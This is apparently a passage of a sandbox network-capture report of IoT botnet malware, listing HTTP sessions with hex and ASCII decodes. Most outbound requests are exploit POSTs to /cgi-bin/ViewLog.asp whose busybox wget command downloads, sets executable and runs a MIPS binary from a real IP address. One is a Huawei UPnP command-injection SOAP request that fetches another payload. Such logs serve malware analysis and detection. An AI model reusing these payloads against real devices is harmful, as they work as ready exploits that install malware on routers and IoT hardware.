64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 3c 2f 64 69 76 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0d 0a 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 3c 66 69 65 6c 64 73 65 74 3e 0d 0a 20 20 3c 68 32 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 68 32 3e 0d 0a 20 20 3c 68 33 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>404 - File or directory not found.</title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1>Server Error</h1></div><div id="content"> <div class="content-container"><fieldset> <h2>404 - File or directory not found.</h2> <h3>The resource you are looking fo

Session ID	Source IP	Source Port	Destination IP	Destination Port
388	192.168.2.13	35388	94.130.90.85	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:09.801659107 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:09.996726036 CET	142	IN	HTTP/1.0 400 Bad Request Data Raw: 43 6c 69 65 6e 74 20 73 65 6e 74 20 61 6e 20 48 54 54 50 20 72 65 71 75 65 73 74 20 74 6f 20 61 6e 20 48 54 54 50 53 20 73 65 72 76 65 72 2e 0a Data Ascii: Client sent an HTTP request to an HTTPS server.

Session ID	Source IP	Source Port	Destination IP	Destination Port
389	192.168.2.13	41806	94.122.233.234	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:10.211971998 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
390	192.168.2.13	58864	156.241.15.155	37215

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:10.661124945 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
391	192.168.2.13	48828	31.136.82.46	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:10.813724995 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:14.022341967 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:20.166465044 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:32.198319912 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:57.798208952 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
392	192.168.2.13	57012	31.7.46.62	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:10.839840889 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:11.053648949 CET	560	IN	HTTP/1.1 404 Not Found Content-Type: text/html Content-Length: 341 Connection: close Date: Thu, 23 Nov 2023 04:17:09 GMT Server: lighttpd/1.4.59 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>404 Not Found</title> </head> <body> <h1>404 Not Found</h1> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
393	192.168.2.13	43892	94.121.177.254	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:10.860079050 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
394	192.168.2.13	52424	31.136.19.240	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:10.999154091 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:11.590394020 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:12.742430925 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:15.046350002 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:19.654422045 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:28.870335102 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:47.558265924 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
395	192.168.2.13	34734	94.154.96.220	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:11.021040916 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:11.228908062 CET	358	IN	HTTP/1.1 400 Bad Request Date: Thu, 23 Nov 2023 04:17:11 GMT Server: Apache Content-Length: 126 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 27 2b 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 6e 61 6d 65 2b 27 3a 27 2b 6c 6f 63 61 74 69 6f 6e 2e 70 6f 72 74 3b 3c 2f 73 63 72 69 70 74 3e 3c 68 31 3e 45 72 72 6f 72 20 34 30 30 20 2d 20 74 72 79 69 6e 67 20 74 6f 20 72 65 64 69 72 65 63 74 3c 2f 68 31 3e Data Ascii: <script>document.location.href='https://'+location.hostname+':'+location.port;</script><h1>Error 400 - trying to redirect</h1>

Session ID	Source IP	Source Port	Destination IP	Destination Port
396	192.168.2.13	39734	94.234.167.136	8080

Timestamp	Bytes transferred	Direction	Data
